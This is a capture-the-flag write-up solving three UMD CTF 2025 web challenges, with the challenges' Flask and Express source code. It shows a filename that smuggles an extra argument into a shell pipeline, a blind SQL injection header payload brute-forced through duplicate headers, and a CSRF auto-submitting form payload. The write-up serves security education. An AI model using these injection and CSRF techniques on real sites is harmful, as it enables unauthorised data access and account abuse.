UMD CTF 2025 - WEB
Web
brainrot-dictionary
Solvers: 199
Author: aparker
Description
This website will help you understand the rest of the nonsense going on in the CTF. You can even upload your own brainrot words and get definitions!
Solution
This website can only upload file with .brainrot
extension. Let’s create a test.brainrot
file and upload it.
After uploading, we can see that we redirected to /dict
endpoint which shows list of brainrot words.
Let’s look through the main.py
provided by the challenge.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from flask import Flask, render_template, request, redirect, session, url_for, send_from_directory
import os
import re
import random
import string
from werkzeug.utils import secure_filename
from urllib.parse import unquote
app = Flask(__name__)
app.secret_key = os.urandom(32)
app.config['MAX_CONTENT_LENGTH'] = 1000
# Directory to save uploaded files and images
UPLOAD_FOLDER = 'uploads'
if not os.path.exists(UPLOAD_FOLDER):
os.makedirs(UPLOAD_FOLDER)
def create_uploads_dir(d=None):
dirname = os.path.join(UPLOAD_FOLDER, ''.join(random.choices(string.ascii_letters, k=30)))
if d is not None:
dirname = d
session['upload_dir'] = dirname
os.mkdir(dirname)
os.popen(f'cp flag.txt {dirname}')
os.popen(f'cp basedict.brainrot {dirname}')
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
if 'user_file' not in request.files:
return render_template('index.html', error="L + RATIO + YOU FELL OFF")
user_file = request.files['user_file']
if not user_file.filename.endswith('.brainrot'):
return render_template('index.html', error="sorry bruv that aint brainrotted enough")
if 'upload_dir' not in session:
create_uploads_dir()
elif not os.path.isdir(session['upload_dir']):
create_uploads_dir(session['upload_dir'])
fname = unquote(user_file.filename)
if '/' in fname:
return render_template("index.html", error="dont do that")
user_file.save(os.path.join(session['upload_dir'], fname))
return redirect(url_for('dict'))
return render_template('index.html')
@app.route('/dict')
def dict():
if 'upload_dir' not in session:
create_uploads_dir()
elif not os.path.isdir(session['upload_dir']):
create_uploads_dir(session['upload_dir'])
cmd = f"find {session['upload_dir']} -name \\*.brainrot | xargs sort | uniq"
results = os.popen(cmd).read()
return render_template('dict.html', results=results.splitlines())
if __name__ == '__main__':
app.run(debug=False, host="0.0.0.0")
We found these part interesting:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# When initializing the session
def create_uploads_dir(d=None):
dirname = os.path.join(UPLOAD_FOLDER, ''.join(random.choices(string.ascii_letters, k=30)))
if d is not None:
dirname = d
session['upload_dir'] = dirname
os.mkdir(dirname)
os.popen(f'cp flag.txt {dirname}') # Copy flag.txt to the upload directory
os.popen(f'cp basedict.brainrot {dirname}') # Copy the default dictionary
# Route to display the dictionary list
@app.route('/dict')
def dict():
# ...
cmd = f"find {session['upload_dir']} -name \\*.brainrot | xargs sort | uniq"
results = os.popen(cmd).read()
# ...
They used find {session['upload_dir']} -name \*.brainrot | xargs sort | uniq
to:
- Finds all files with the
.brainrot
extension in the specified directory xargs sort
: Takes the list of filenames from the find output as arguments for the sort commanduniq
: Removes duplicate files
When look through definition of xargs
on man page, it uses whitespace to separate arguments. It means that when a filename contains whitespace, xargs
treats it as multiple separate arguments.
So what if we upload a file with whitespace in the filename?
As we can see, it show the flag. Here is the flow of the find command when uploading flag.txt basedict.brainrot
:
- When it execute command:
find uploads/AbCdEf -name *.brainrot
-> it will be:uploads/AbCdEf/flag.txt basedict.brainrot
- After passing to
xargs sort
:xargs
considersuploads/AbCdEf/flag.txt
andbasedict.brainrot
as two separate arguments - The
sort
command will attempt to read the contents of bothuploads/AbCdEf/flag.txt
andbasedict.brainrot
-> So as the result, the content of theflag.txt
will be read and displayed.
Flag: UMDCTF{POSIX_no_longer_recommends_that_this_is_possible}
Steve Le Poisson
Solvers: 139
Author: tahmid-23
Description
Solution
This website use French language, pretty interesting =)). Let’s dive into the index.js
file provided by the challenge.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
// 📦 Importation des modules nécessaires pour faire tourner notre monde sous-marin numérique
const express = require("express"); // Express, le cadre web minimaliste mais puissant
const sqlite3 = require("sqlite3"); // SQLite version brute, pour les bases de données légères
const sqlite = require("sqlite"); // Une interface moderne (promesse-friendly) pour SQLite
const cors = require("cors"); // Pour permettre à d'autres domaines de parler à notre serveur — Steve est sociable, mais pas trop
// 🐠 Création de l'application Express : c’est ici que commence l’aventure
const app = express();
// 🧪 Fonction de validation des en-têtes HTTP
// Steve, ce poisson à la sensibilité exacerbée, déteste les en-têtes trop longs, ambigus ou mystérieux
function checkBadHeader(headerName, headerValue) {
return headerName.length > 80 ||
(headerName.toLowerCase() !== 'user-agent' && headerValue.length > 80) ||
headerValue.includes('\0'); // Le caractère nul ? Un blasphème pour Steve.
}
// 🛟 Middleware pour autoriser les requêtes Cross-Origin
app.use(cors());
// 🧙 Middleware maison : ici, Steve le Poisson filtre les requêtes selon ses principes aquatiques
app.use((req, res, next) => {
let steveHeaderValue = null; // On prépare le terrain pour récupérer l’en-tête sacré
let totalHeaders = 0; // Pour compter — car Steve compte. Tout. Toujours.
// 🔍 Parcours des en-têtes bruts, deux par deux (clé, valeur)
for (let i = 0; i < req.rawHeaders.length; i += 2) {
let headerName = req.rawHeaders[i];
let headerValue = req.rawHeaders[i + 1];
// ❌ Si un en-tête ne plaît pas à Steve, il coupe net la communication
if (checkBadHeader(headerName, headerValue)) {
return res.status(403).send(`Steve le poisson, un animal marin d’apparence inoffensive mais d’opinion tranchée, n’a jamais vraiment supporté tes en-têtes HTTP. Chaque fois qu’il en voit passer un — même sans savoir de quoi il s’agit exactement — son œil vitreux se plisse, et une sorte de grondement bouillonne dans ses branchies. Ce n’est pas qu’il les comprenne, non, mais il les sent, il les ressent dans l’eau comme une vibration mal alignée, une dissonance numérique qui le met profondément mal à l’aise. Il dit souvent, en tournoyant d’un air dramatique : « Pourquoi tant de formalisme ? Pourquoi cacher ce qu’on est vraiment derrière des chaînes de caractères obscures ? » Pour lui, ces en-têtes sont comme des algues synthétiques : inutiles, prétentieuses, et surtout étrangères à la fluidité du monde sous-marin. Il préférerait mille fois un bon vieux flux binaire brut, sans tous ces ornements absurdes. C’est une affaire de principe.`); // Message dramatique de Steve
}
// 🔮 Si on trouve l’en-tête "X-Steve-Supposition", on le garde
if (headerName.toLowerCase() === 'x-steve-supposition') {
steveHeaderValue = headerValue;
}
totalHeaders++; // 🧮 On incrémente notre compteur de verbosité HTTP
}
// 🧻 Trop d’en-têtes ? Steve explose. Littéralement.
if (totalHeaders > 30) {
return res.status(403).send(`Steve le poisson, qui est orange avec de longs bras musclés et des jambes nerveuses, te fixe avec ses grands yeux globuleux. "Franchement," grogne-t-il en agitant une nageoire transformée en doigt accusateur, "tu abuses. Beaucoup trop d’en-têtes HTTP. Tu crois que c’est un concours ? Chaque requête que tu envoies, c’est un roman. Moi, je dois nager dans ce flux verbeux, et c’est moi qui me noie ! T’as entendu parler de minimalisme ? Non ? Et puis c’est quoi ce délire avec des en-têtes dupliqués ? Tu crois que le serveur, c’est un psy, qu’il doit tout écouter deux fois ? Retiens-toi la prochaine fois, ou c’est moi qui coupe la connexion."`); // Encore un monologue dramatique de Steve
}
// 🙅♂️ L’en-tête sacré est manquant ? Blasphème total.
if (steveHeaderValue === null) {
return res.status(400).send(`Steve le poisson, toujours orange et furibond, bondit hors de l’eau avec ses jambes fléchies et ses bras croisés. "Non mais sérieusement," râle-t-il, "où est passé l’en-tête X-Steve-Supposition ? Tu veux que je devine tes intentions ? Tu crois que je lis dans les paquets TCP ? Cet en-tête, c’est fondamental — c’est là que tu déclares tes hypothèses, tes intentions, ton respect pour le protocole sacré de Steve. Sans lui, je suis perdu, confus, désorienté comme un poisson hors d’un proxy.`);
}
// 🧪 Validation de la structure de la supposition : uniquement des caractères honorables
if (!/^[a-zA-Z0-9{}]+$/.test(steveHeaderValue)) {
return res.status(403).send(`Steve le poisson, ce poisson orange à la peau luisante et aux nageoires musclées, unique au monde, capable de nager sur la terre ferme et de marcher dans l'eau comme si c’était une moquette moelleuse, te regarde avec ses gros yeux globuleux remplis d’une indignation abyssale. Il claque de la langue – oui, car Steve a une langue, et elle est très expressive – en te voyant saisir ta supposition dans le champ prévu, un champ sacré, un espace réservé aux caractères honorables, alphabétiques et numériques, et toi, misérable bipède aux doigts témérairement chaotiques, tu as osé y glisser des signes de ponctuation, des tilde, des dièses, des dollars, comme si c’était une brocante de symboles oubliés. Tu crois que c’est un terrain de jeu, hein ? Mais pour Steve, ce champ est un pacte silencieux entre l’humain et la machine, une zone de pureté syntaxique. Et te voilà, en train de profaner cette convention sacrée avec ton “%” et ton “@”, comme si les règles n’étaient que des suggestions. Steve bat furieusement des pattes arrière – car oui, il a aussi des pattes arrière, pour la traction tout-terrain – et fait jaillir de petites éclaboussures d’écume terrestre, signe suprême de sa colère. “Pourquoi ?” te demande-t-il, avec une voix grave et solennelle, comme un vieux capitaine marin échoué dans un monde digital, “Pourquoi chercher la dissonance quand l’harmonie suffisait ? Pourquoi saboter la beauté simple de ‘azAZ09’ avec tes gribouillages postmodernes ?” Et puis il s’approche, les yeux plissés, et te lance d’un ton sec : “Tu n’es pas digne de l’en-tête X-Steve-Supposition. Reviens quand tu sauras deviner avec dignité.`);
}
// ✅ Si tout est bon, Steve laisse passer la requête
next();
});
// 🔍 Point d'entrée principal : route GET pour "deviner"
app.get('/deviner', async (req, res) => {
// 📂 Ouverture de la base de données SQLite
const db = await sqlite.open({
filename: "./database.db", // Chemin vers la base de données
driver: sqlite3.Database, // Le moteur utilisé
mode: sqlite3.OPEN_READONLY // j'ai oublié ça
});
// 📋 Exécution d'une requête SQL : on cherche si la supposition de Steve est correcte
const rows = await db.all(`SELECT * FROM flag WHERE value = '${req.get("x-steve-supposition")}'`);
res.status(200); // 👍 Tout va bien, en apparence
// 🧠 Si aucune ligne ne correspond, Steve se moque gentiment de toi
if (rows.length === 0) {
res.send("Bah, tu as tort."); // Pas de flag pour toi
} else {
res.send("Tu as raison!"); // Le flag était bon. Steve t’accorde son respect.
}
});
// 🚪 On lance le serveur, tel un aquarium ouvert sur le monde
const PORT = 3000;
app.listen(PORT, "0.0.0.0", () => {
console.log(`Serveur en écoute sur http://localhost:${PORT}`);
});
After go through the code, we found the endpoint /deviner
which have a SQL query that it will checks if our guess matches the flag stored in the database.
1
const rows = await db.all(`SELECT * FROM flag WHERE value = '${req.get("x-steve-supposition")}'`);
We can see that x-steve-supposition
header and directly inserts it into an SQL query without sanitization -> leads to simple SQL injection.
But when we look that the if statement:
1
2
3
4
// 🧪 Validation de la structure de la supposition : uniquement des caractères honorables
if (!/^[a-zA-Z0-9{}]+$/.test(steveHeaderValue)) {
return res.status(403).send(`Steve le poisson, ce poisson orange à la peau luisante et aux nageoires musclées, unique au monde, capable de nager sur la terre ferme et de marcher dans l'eau comme si c’était une moquette moelleuse, te regarde avec ses gros yeux globuleux remplis d’une indignation abyssale. Il claque de la langue – oui, car Steve a une langue, et elle est très expressive – en te voyant saisir ta supposition dans le champ prévu, un champ sacré, un espace réservé aux caractères honorables, alphabétiques et numériques, et toi, misérable bipède aux doigts témérairement chaotiques, tu as osé y glisser des signes de ponctuation, des tilde, des dièses, des dollars, comme si c’était une brocante de symboles oubliés. Tu crois que c’est un terrain de jeu, hein ? Mais pour Steve, ce champ est un pacte silencieux entre l’humain et la machine, une zone de pureté syntaxique. Et te voilà, en train de profaner cette convention sacrée avec ton “%” et ton “@”, comme si les règles n’étaient que des suggestions. Steve bat furieusement des pattes arrière – car oui, il a aussi des pattes arrière, pour la traction tout-terrain – et fait jaillir de petites éclaboussures d’écume terrestre, signe suprême de sa colère. “Pourquoi ?” te demande-t-il, avec une voix grave et solennelle, comme un vieux capitaine marin échoué dans un monde digital, “Pourquoi chercher la dissonance quand l’harmonie suffisait ? Pourquoi saboter la beauté simple de ‘azAZ09’ avec tes gribouillages postmodernes ?” Et puis il s’approche, les yeux plissés, et te lance d’un ton sec : “Tu n’es pas digne de l’en-tête X-Steve-Supposition. Reviens quand tu sauras deviner avec dignité.`);
}
This regex prevents us from using typical SQL injection characters like quotes, semicolons, hyphens, or spaces. And only allows alphanumeric characters and curly braces.
Let’s go through how Express handles headers:
- When using
req.get("x-steve-supposition")
in the SQL query, Express returns the first instance of this header. - When validating the header with regex, Express stores the last value of this header in
steveHeaderValue
.
And we also found other interesting things is that req.rawHeaders
will store all the headers in the order they were received.
So what if:
- First header, we inject the sqli payload.
Second header, we just put a alphanumeric value to pass the regex check. ```js // Check headers one by one in a loop for (let i = 0; i < req.rawHeaders.length; i += 2) { let headerName = req.rawHeaders[i]; let headerValue = req.rawHeaders[i + 1];
// Store the last value seen for this header if (headerName.toLowerCase() === ‘x-steve-supposition’) { steveHeaderValue = headerValue; } }
// Validate regex on the last value seen if (!/^[a-zA-Z0-9{}]+$/.test(steveHeaderValue)) { // Return error }
1
2
3
4
5
6
7
8
9
10
11
12
Let's try it out:

Hmm, check the code again this part:
```js
function checkBadHeader(headerName, headerValue) {
return headerName.length > 80 ||
(headerName.toLowerCase() !== 'user-agent' && headerValue.length > 80) ||
headerValue.includes('\0'); // Le caractère nul ? Un blasphème pour Steve.
}
The Accept
and User-Agent
header have passed the limit length. So what if we remove them?
It works! Now we can inject our payload. Let’s try the sqlite version as we seen that the code use sqlite3.Database
as the driver.
Shows Tu as raison!
means You're right!
but we can not see the sqlite version. So this could be a blind conditional sqli.
From the SQL query, we can see that the column name is value
and the table name is flag
. Let’s extract using substr
to bruteforce each position of the flag.
The flag format is UMDCTF{...}
so let’s first try the substr
position 1 is U
to make sure our exploit is working.
Great, it works! Now let’s try to extract the rest of the flag. We will use the burp intruder to exploit this.
Then use the clusterbomb
attack type and add $$
to these value:
1
X-Steve-Supposition: ' OR substr(value,$1$,1) = '$U$' --
- For the first
$1$
, we will use payload typeNumbers
and range from1 -> 30
. - Then for the second
$U$
, we will useSimple list
and use this listabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_
. - Last part will add
Tu as raison!
to theGrep - Match
to make it easier to filter for correct response.
After running the attack, we use Payload 1
for the position and Payload 2
for the character.
Finally, we get the flag.
Flag: UMDCTF{ile5TVR4IM3NtTresbEAu}
A Minecraft Movie
Solvers: 58
Author: tahmid-23
Description
Solution
First let go through the application and also watch requests through burp suite. So let’s start register account and create a post.
After create an account, we check that our session number
is undefined
.
At the homepage, we can see some Top Minecraft Movie Posts
. Let’s check some posts and discover something interesting.
We get postId=58eb18f6-1fb8-455c-b0cb-b764ec1f7048
and look through, we notice This post was liked by an admin!
, so what if we like or dislike this post?
There is two requests which are /start-session
and /legacy-social
that we can see that our sessionNumber=1
.
So confirm that our session number is 1
. And we are curious about the legacy-social
request. Let’s check it out.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
, R = O.useCallback(async C => {
await W0();
const G = await fetch(`${na}/legacy-social`, {
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded"
},
body: `sessionNumber=${window.sessionNumber}&postId=${s}&likes=${C}`,
credentials: "include"
});
if (!G.ok) {
S(await G.text());
return
}
await h()
}
We found out that:
- Uses form-urlencoded format instead of JSON which could lead to easily create request with HTML form.
- No CSRF protection that attacker could forge the request because server does not verify the authenticity of the request.
- Relies on client-side session so attacker can forge this session number.
Also found this part for content sanitization limitation:
1
2
3
4
5
6
7
8
9
10
11
const Y = rh.sanitize(f.content, {
ADD_TAGS: ["iframe"],
ADD_ATTR: ["allow", "allowfullscreen", "frameborder", "scrolling", "src", "width", "height"]
});
O.useEffect(() => {
rh.addHook("uponSanitizeElement", (s, f) => {
var d;
f.tagName === "iframe" && s instanceof Element && ((s.getAttribute("src") || "").startsWith("https://www.youtube.com/embed/") || (d = s.parentNode) == null || d.removeChild(s))
})
})
From observation:
- Allows
iframe
tags but only from YouTube embeds - For the content santitization, attacker can use
form
tag to create CSRF attack.
We also found suspicious part:
which means this endpoint could be vulnerable that current implementation is insecure due to:
- Use
dangerouslySetInnerHTML
as a red flag in security audit. - Instead of using state management, it uses global
window.sessionNumber
.
Gathering all the information, now let’s create a normal post first.
We can see that the body part of the request /create-post
is:
1
2
3
4
{
"title":"alex",
"content":"hi steve"
}
And following that is the postId
which is 6400f205-4759-4593-a258-1a30b64418ae
. We can like and dislike and it will show two requests we have discussed before. But noticed that our post does not have like by admin.
while the other post has liked by admin. So if we make admin like our post, we can get the flag.
Gathering all the information, we can create a CSRF attack flow:
- Create a normal post to grab that
postId
. - Then create another post with CSRF payload and pointer to our normal post.
- Submit the post contain CSRF payload to admin so that admin by change will like our normal post.
So we have create a normal post already, let’s create another one with CSRF payload:
1
2
3
4
{
"title": "hehe",
"content": "<div class=\"flex justify-center\"><form action=\"https://a-minecraft-movie-api.challs.umdctf.io/legacy-social\" method=\"POST\"><input name=\"sessionNumber\" value=\"1\"><input name=\"postId\" value=\"6400f205-4759-4593-a258-1a30b64418ae\"><input name=\"likes\" value=\"1\"><input type=\"submit\" autofocus style=\"position:fixed;top:0;left:0;width:100%;height:100%;opacity:0\"></form></div>"
}
with the autofocus
attribute to make the form submit automatically when the page loads.
Now, submit this postId
:fe7fcd04-4476-4bce-a8f6-11dccc9175a1
to admin.
When check again our normal post, we got admin liked it.
Check out /account
endpoint, we can see the flag.
Flag: UMDCTF{I_y3@RNeD_f0R_7HE_Min3S}